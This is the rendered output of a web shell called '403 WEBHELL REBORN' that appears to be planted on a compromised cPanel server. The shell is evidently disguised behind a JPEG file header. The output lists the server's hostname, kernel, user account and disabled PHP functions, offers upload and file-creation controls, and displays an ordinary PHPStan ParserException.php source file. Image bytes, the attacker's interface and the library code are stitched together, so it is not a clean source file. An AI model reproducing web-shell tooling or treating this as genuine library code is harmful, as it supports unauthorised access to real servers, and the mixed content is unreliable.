ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/cpanel/ea-wappspector/vendor/phpstan/phpdoc-parser/src/Parser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //opt/cpanel/ea-wappspector/vendor/phpstan/phpdoc-parser/src/Parser/ParserException.php
<?php declare(strict_types = 1);

namespace PHPStan\PhpDocParser\Parser;

use Exception;
use PHPStan\PhpDocParser\Lexer\Lexer;
use function assert;
use function json_encode;
use function sprintf;
use const JSON_INVALID_UTF8_SUBSTITUTE;
use const JSON_UNESCAPED_SLASHES;
use const JSON_UNESCAPED_UNICODE;

class ParserException extends Exception
{

	private string $currentTokenValue;

	private int $currentTokenType;

	private int $currentOffset;

	private int $expectedTokenType;

	private ?string $expectedTokenValue;

	private ?int $currentTokenLine;

	public function __construct(
		string $currentTokenValue,
		int $currentTokenType,
		int $currentOffset,
		int $expectedTokenType,
		?string $expectedTokenValue,
		?int $currentTokenLine
	)
	{
		$this->currentTokenValue = $currentTokenValue;
		$this->currentTokenType = $currentTokenType;
		$this->currentOffset = $currentOffset;
		$this->expectedTokenType = $expectedTokenType;
		$this->expectedTokenValue = $expectedTokenValue;
		$this->currentTokenLine = $currentTokenLine;

		parent::__construct(sprintf(
			'Unexpected token %s, expected %s%s at offset %d%s',
			$this->formatValue($currentTokenValue),
			Lexer::TOKEN_LABELS[$expectedTokenType],
			$expectedTokenValue !== null ? sprintf(' (%s)', $this->formatValue($expectedTokenValue)) : '',
			$currentOffset,
			$currentTokenLine === null ? '' : sprintf(' on line %d', $currentTokenLine),
		));
	}


	public function getCurrentTokenValue(): string
	{
		return $this->currentTokenValue;
	}


	public function getCurrentTokenType(): int
	{
		return $this->currentTokenType;
	}


	public function getCurrentOffset(): int
	{
		return $this->currentOffset;
	}


	public function getExpectedTokenType(): int
	{
		return $this->expectedTokenType;
	}


	public function getExpectedTokenValue(): ?string
	{
		return $this->expectedTokenValue;
	}


	public function getCurrentTokenLine(): ?int
	{
		return $this->currentTokenLine;
	}


	private function formatValue(string $value): string
	{
		$json = json_encode($value, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_INVALID_UTF8_SUBSTITUTE);
		assert($json !== false);

		return $json;
	}

}

Anon7 - 2021